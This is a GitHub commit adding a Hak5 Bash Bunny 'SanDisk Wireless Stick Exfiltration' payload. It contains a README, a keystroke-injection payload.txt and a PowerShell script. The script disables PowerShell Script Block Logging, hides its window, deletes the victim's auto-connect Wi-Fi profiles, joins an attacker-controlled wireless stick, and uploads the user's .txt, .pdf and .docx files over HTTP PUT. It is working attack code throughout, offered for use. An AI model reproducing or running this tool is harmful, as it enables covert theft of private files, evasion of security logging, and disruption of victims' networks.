SanDisk Wireless Stick Exfiltration (#445)

Uses the "SanDisk Wireless Stick" for files exfiltration.
1) Avoids "PowerShell Script Block Logging".
2) Hide "PowerShell" window.
3) Deletes Wi-Fi connection profiles in automatic mode, each deletion causes a disconnection.
4) Adds the profile for the "SanDisk Connect Wireless Stick" in automatic mode.
5) Checks whether the Wi-Fi interface is connected to the "SanDisk" and whether the gateway can be reached, if not, automatically starts again.
6) Exfiltration of the files via the HTTP channel.
This commit is contained in:
TW-D 2021-12-21 18:24:09 -05:00 committed by GitHub
parent 49f7018bf3
commit 5d4367787f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
4 changed files with 273 additions and 0 deletions

View File

@ -0,0 +1,40 @@
# Files Exfiltration with "SanDisk Wireless Stick"
- Title: "SanDisk Wireless Stick" Exfiltration
- Author: TW-D
- Version: 1.0
- Target: Microsoft Windows 10
- Category: Exfiltration
## Description
Uses the "SanDisk Wireless Stick" for files exfiltration.
1) Avoids "PowerShell Script Block Logging".
2) Hide "PowerShell" window.
3) Deletes Wi-Fi connection profiles in automatic mode, each deletion causes a disconnection.
4) Adds the profile for the "SanDisk Connect Wireless Stick" in automatic mode.
5) Checks whether the Wi-Fi interface is connected to the "SanDisk" and whether the gateway can be reached, if not, automatically starts again.
6) Exfiltration of the files via the HTTP channel.
## Configuration
In the web interface of the "SanDisk Wireless Stick" after update, change the following values :
![SanDisk-Configuration.png](./assets/SanDisk-Configuration.png)
From "payload.txt" change the values of the following constants :
```bash
######## INITIALIZATION ########
readonly BB_LABEL="BashBunny"
readonly SANDISK_SSID="HAK5-EXFIL"
readonly SANDISK_PSK="MyS3cr3TP@sSw0rD"
readonly SANDISK_LOOT="loots"
readonly USER_DIRECTORY="~\\"
readonly FILE_EXTENSION="*.txt,*.pdf,*.docx"
```
## Link
[SanDisk Vendor](https://www.sandisk.com/goto/connect)

Binary file not shown.

After

Width:  |  Height:  |  Size: 22 KiB

View File

@ -0,0 +1,159 @@
#
# Author: TW-D
# Version: 1.0
#
param (
[string] $SSID,
[string] $PSK,
[string] $LOOT,
[string] $DIRECTORY,
[string] $EXTENSION
)
# Avoids "PowerShell Script Block Logging".
#
$etw_provider = [Ref].Assembly.GetType("System.Management.Automation.Tracing.PSEtwLogProvider").GetField("etwProvider", "NonPublic,Static")
$event_provider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid())
$etw_provider.SetValue($null, $event_provider)
# Hide "PowerShell" window.
#
$Script:showWindowAsync = Add-Type -MemberDefinition @"
[DllImport("user32.dll")]
public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);
"@ -Name "Win32ShowWindowAsync" -Namespace Win32Functions -PassThru
$showWindowAsync::ShowWindowAsync((Get-Process -Id $pid).MainWindowHandle, 0) | Out-Null
If ($SSID -And $PSK -And $LOOT -And $DIRECTORY -And $EXTENSION) {
# Deletes Wi-Fi connection profiles in automatic mode, each deletion causes a disconnection.
#
$interface_guid = (Get-NetAdapter -Physical -Name "Wi-Fi" | WHERE Status -eq "Up").InterfaceGuid
If ($interface_guid) {
$wlan_service_path = "C:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\${interface_guid}\"
$wlan_service_items = Get-ChildItem -Path $wlan_service_path -Recurse
$wlan_service_items | ForEach-Object {
[xml] $xml_content = Get-Content -Path $_.FullName
$mode = $xml_content.WLANProfile.connectionMode
$name = $xml_content.WLANProfile.name
If ($mode -eq "auto") {
(NETSH WLAN DELETE PROFILE name="$name") | Out-Null
}
}
}
# Adds the profile for the "SanDisk Connect Wireless Stick" in automatic mode.
#
$profile_guid = "{" + [guid]::NewGuid().ToString() + "}"
$profile_path = "${env:TEMP}\${profile_guid}.xml"
$ssid_hex = ($SSID.ToCharArray() | ForEach-Object { [System.String]::Format("{0:X}", [System.Convert]::ToUInt32($_)) })
@"
<?xml version="1.0"?>
<WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1">
<name>${SSID}</name>
<SSIDConfig>
<SSID>
<hex>${ssid_hex}</hex>
<name>${SSID}</name>
</SSID>
</SSIDConfig>
<connectionType>ESS</connectionType>
<connectionMode>auto</connectionMode>
<MSM>
<security>
<authEncryption>
<authentication>WPA2PSK</authentication>
<encryption>AES</encryption>
<useOneX>false</useOneX>
</authEncryption>
<sharedKey>
<keyType>passPhrase</keyType>
<protected>false</protected>
<keyMaterial>${PSK}</keyMaterial>
</sharedKey>
</security>
</MSM>
<MacRandomization xmlns="http://www.microsoft.com/networking/WLAN/profile/v3">
<enableRandomization>false</enableRandomization>
</MacRandomization>
</WLANProfile>
"@ | Out-File -FilePath "${profile_path}"
(NETSH WLAN ADD PROFILE filename="${profile_path}") | Out-Null
Remove-Item -Path "${profile_path}" -Force
# Checks whether the Wi-Fi interface is connected to the "SanDisk".
# Whether the gateway can be reached.
# If not, automatically starts again.
#
While ($TRUE) {
$ConnectionError = $NULL
Try {
(NETSH WLAN CONNECT name="$SSID") | Out-Null
$wifi_connected = (Get-NetConnectionProfile).Name
$gateway_address = (Get-NetRoute -DestinationPrefix 0.0.0.0/0 | Select-Object -ExpandProperty NextHop)
$gateway_reachable = (Test-Connection -ComputerName $gateway_address -Quiet)
If ($wifi_connected -eq $SSID -And $gateway_reachable) {
Break
}
} Catch {
$ConnectionError = $_
Start-Sleep -Seconds 8
}
}
#
# Exfiltration of the files via the HTTP channel.
#
Function Invoke-CustomRequest($Url, $Method) {
$RequestError = $NULL
Try {
$request = [System.Net.WebRequest]::Create($Url)
$request.Method = $Method
$request.GetResponse().Close()
} Catch {
$RequestError = $_
return $FALSE
}
return $TRUE
}
Function Invoke-UploadRequest($Url, $File) {
$RestError = $NULL
Try {
$empty = [String]::IsNullOrWhiteSpace((Get-Content -Path $File))
If (!$empty) {
Invoke-RestMethod -Uri $Url -Method PUT -InFile $File
}
} Catch {
$RestError = $_
}
}
Function Exfiltration-Files($Directory, $Extension, $Url) {
$files = Get-ChildItem -Path $Directory -Include ($Extension.split(",")) -Recurse
ForEach ($file in $files) {
$random = ( -join ( (0x30..0x39) + ( 0x41..0x5A) + ( 0x61..0x7A) | Get-Random -Count 8 | % {[char]$_} ) )
$basename = Split-Path -Path "${file}" -Leaf -Resolve
Invoke-UploadRequest -Url "${Url}${random}-${basename}" -File "${file}" | Out-Null
}
}
$sandisk_loot = "http://${gateway_address}/myconnect/${LOOT}/"
$check_loot = Invoke-CustomRequest -Url $sandisk_loot -Method "GET"
If ($check_loot) {
Exfiltration-Files -Directory $DIRECTORY -Extension $EXTENSION -Url $sandisk_loot
} Else {
Invoke-CustomRequest -Url $sandisk_loot -Method "MKCOL" | Out-Null
Exfiltration-Files -Directory $DIRECTORY -Extension $EXTENSION -Url $sandisk_loot
}
# Cleanup
#
(NETSH WLAN DELETE PROFILE name="$SSID") | Out-Null
Exit
}

View File

@ -0,0 +1,74 @@
#!/bin/bash
#
# Title: SanDisk Wireless Stick Exfiltration
#
# Description: Files Exfiltration with "SanDisk Wireless Stick"
#
# Author: TW-D
# Version: 1.0
# Category: Exfiltration
# Target: Microsoft Windows 10
# Attackmodes: HID and STORAGE
#
# TESTED ON
# ===============
# Microsoft Windows 10 Family Version 1903 (PowerShell 5.1)
# Microsoft Windows 10 Professional Version 20H2 (PowerShell 5.1)
#
# REQUIREMENTS
# ===============
# SanDisk Wireless Stick 16Go/32Go - Firmware 4.1.0 (2050)
#
# STATUS
# ===============
# Magenta solid ................................... SETUP
# Yellow single blink ............................. ATTACK
# Yellow double blink ............................. STAGE2
# Yellow triple blink ............................. STAGE3
# Green 1000ms VERYFAST blink followed by SOLID ... FINISH
#
######## INITIALIZATION ########
readonly BB_LABEL="BashBunny"
readonly SANDISK_SSID="HAK5-EXFIL"
readonly SANDISK_PSK="MyS3cr3TP@sSw0rD"
readonly SANDISK_LOOT="loots"
readonly USER_DIRECTORY="~\\"
readonly FILE_EXTENSION="*.txt,*.pdf,*.docx"
######## SETUP ########
LED SETUP
ATTACKMODE HID STORAGE
GET SWITCH_POSITION
######## ATTACK ########
LED ATTACK
RUN WIN "powershell -NoLogo -NoProfile -ExecutionPolicy Bypass"
Q DELAY 5000
LED STAGE2
Q STRING "\$BB_VOLUME = \"\$((Get-WmiObject -Class Win32_Volume -Filter \"Label LIKE '${BB_LABEL}'\").Name)payloads\\${SWITCH_POSITION}\\\""
Q ENTER
Q DELAY 3500
Q STRING "CD \"\${BB_VOLUME}\""
Q ENTER
Q DELAY 1500
LED STAGE3
Q STRING ".\payload.ps1 -SSID \"${SANDISK_SSID}\" -PSK \"${SANDISK_PSK}\" -LOOT \"${SANDISK_LOOT}\" -DIRECTORY \"${USER_DIRECTORY}\" -EXTENSION \"${FILE_EXTENSION}\""
Q ENTER
Q DELAY 1500
######## FINISH ########
LED FINISH
shutdown -h 0